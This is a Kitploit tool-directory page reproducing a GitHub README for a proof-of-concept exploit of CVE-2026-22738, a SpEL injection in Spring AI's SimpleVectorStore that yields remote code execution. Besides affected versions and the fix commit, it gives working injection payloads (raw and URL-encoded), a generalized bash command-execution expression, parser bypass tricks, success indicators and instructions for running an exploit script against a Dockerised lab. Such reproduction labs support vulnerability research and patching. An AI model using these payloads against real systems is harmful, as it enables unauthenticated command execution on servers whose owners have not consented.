Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-22738 — SpEL Injection via Unescaped Filter Key in SimpleVectorStore Leads to Remote Code Execution | Kitploit
Tools/GitHubGitHub/rockmelodies/cve-2026-22738
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentRemote Access Trojan
GitHubrockmelodies/cve-2026-22738

CVE-2026-22738

SpEL Injection via Unescaped Filter Key in SimpleVectorStore Leads to Remote Code Execution

View Repository
214 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-22738 Reproduction Environment

img.png

Vulnerability Description

CVE-2026-22738 is a SpEL (Spring Expression Language) injection vulnerability in Spring AI SimpleVectorStore that can lead to unauthenticated remote code execution (RCE).

Affected Versions

ArtifactAffected VersionsFixed Versions
org.springframework.ai:spring-ai-core1.0.0 – 1.0.41.0.5
org.springframework.ai:spring-ai-core1.1.0-M1 – 1.1.31.1.4

Note: This project uses the spring-ai-core:1.0.0 release version for vulnerability reproduction.

Fix Commit: ba9220b22383e430d5f801ce8e4fa01cf9e75f29

Vulnerability Principle

The SimpleVectorStore.similaritySearch() method passes user-supplied filter key names verbatim to the SpEL template, which is then evaluated by StandardEvaluationContext. Since StandardEvaluationContext exposes the full JVM reflection API, an attacker can inject:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec(...)

Adding the filter key enables unauthenticated OS command execution.

Vulnerability Reproduction

Use the following payload, note that URL encoding is required once

root@kitploit:~
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"

%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22

Pass the payload to the filterKey parameter to successfully pop up the calculator img_1.png

Bypass Details

A simple injection method won't work directly — you must overcome two quirks of the parser:

  1. Single-quote stripping — A key starting with a single quote ' is treated as a quoted string; the outer quotes are stripped, breaking the payload.

  2. Double-quote wrapper — Wrapping the payload in double quotes "..." causes the parser to strip the outer double quotes, leaving the inner SpEL expression as the key value passed to the parser as #metadata['<KEY>'].

  3. Empty metadata key — Using #metadata[''] on both sides of the injected expression (instead of an undefined variable) avoids the unknown variable SpEL error while still triggering exec().

The resulting expression takes the following form:

root@kitploit:~
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

Success Indicators

The HTTP response body will contain the EL1030E SpEL runtime error:

root@kitploit:~
operator ADD not supported between null and java.lang.ProcessImpl

This error is raised after exec() returns, confirming OS-level command execution without requiring an out-of-band callback.

Environment Setup

Prerequisites

  • Docker and Docker Compose
  • Python 3 + requests library (pip install requests)

Build and Run the Vulnerable Environment

root@kitploit:~
# Build and start the container
docker compose up -d --build

# View logs
docker compose logs -f

Run the Exploit Script

root@kitploit:~
# Install dependencies
pip install requests

# Run the exploit (wait for the application to start)
python3 exploit.py --wait

# Or specify a target
python3 exploit.py --target http://localhost:8082 --wait

Parameter Description

FlagDefault ValueDescription
--targethttp://localhost:8082Base URL of the vulnerable application
--waitOffPoll until the target is ready (useful after docker compose up)

Note: Docker Desktop (macOS/Windows) uses host.docker.internal for callbacks, 127.0.0.1 payloads.

Exploitation Steps

This proof-of-concept flow consists of five sequential steps:

  1. Baseline check — Confirm the endpoint is reachable and returns seed data
  2. Blind SpEL probe — Confirm the injection point by reading java.version via T(java.lang.System)
  3. RCE: touch /tmp/pwned_cve_2026_22738 inside the container
  4. RCE: Write id // uname output hostname to /tmp/rce_proof.txt
  5. Verification: Verify by printing the proof file contents via docker exec

Project Structure

root@kitploit:~
├── Dockerfile                    # Docker build file
├── docker-compose.yml            # Docker Compose configuration
├── pom.xml                       # Maven project configuration
├── settings.xml                  # Maven settings (includes Spring repositories)
├── exploit.py                    # Exploit script
└── src/main/java/com/example/spelrce/
    ├── SpelRceLabApplication.java    # Spring Boot main class
    ├── VulnController.java           # Vulnerable controller
    ├── VectorStoreConfig.java        # VectorStore configuration
    └── DummyEmbeddingModel.java      # Mock Embedding model

Local Testing (Without Docker)

root@kitploit:~
# Compile the project
mvn clean package -DskipTests

# Run the application
java -jar target/spel-rce-lab-1.0.0.jar

# Run the exploit in another terminal
python3 exploit.py --target http://localhost:8082

References

  • CVE-2026-22738
  • Spring AI Fix Commit
  • Original PoC Project
Download Tool